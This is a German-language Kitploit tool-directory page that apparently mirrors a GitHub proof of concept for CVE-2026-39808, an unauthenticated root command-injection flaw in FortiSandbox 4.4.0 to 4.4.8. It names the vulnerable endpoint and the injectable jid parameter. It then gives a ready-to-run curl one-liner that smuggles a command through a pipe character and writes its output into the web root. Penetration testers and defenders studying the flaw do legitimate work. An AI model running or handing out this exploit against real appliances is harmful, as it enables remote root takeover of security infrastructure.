Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39808 — PoC für nicht authentifizierte RCE in FortiSandbox über CVE-2026-39808 | Kitploit
Tools/GitHubGitHub/samu-delucas/cve-2026-39808
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubsamu-delucas/cve-2026-39808

CVE-2026-39808

PoC für nicht authentifizierte RCE in FortiSandbox über CVE-2026-39808

Repository anzeigen
92vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39808

Im November 2025 wurde eine kritische Schwachstelle in Fortinets FortiSandbox entdeckt, die es einem nicht authentifizierten Angreifer ermöglichte, Befehle im zugrunde liegenden Betriebssystem als Root auszuführen. Die Schwachstelle wurde gepatcht und schließlich im April 2026 öffentlich gemacht.

Diese Schwachstelle betrifft FortiSandbox-Versionen 4.4.0 bis 4.4.8.

Lies die vollständige Sicherheitsmeldung hier.

Die Schwachstelle

Die Schwachstelle betrifft den Endpunkt /fortisandbox/job-detail/tracer-behavior. Betriebssystembefehle können über das Pipe-Symbol (|) im jid-GET-Parameter injiziert werden.

image008

Im obigen Beispiel wurde die Ausgabe in eine Datei im Web-Root umgeleitet, sodass sie anschließend abgerufen werden kann.

image

PoC

Ein einfacher Curl-Befehl genügt, um ohne vorherige Authentifizierung als Root RCE zu erzielen:

root@kitploit:~
curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" --data-urlencode "jid=|(id > /web/ng/out.txt)|"
Tool herunterladen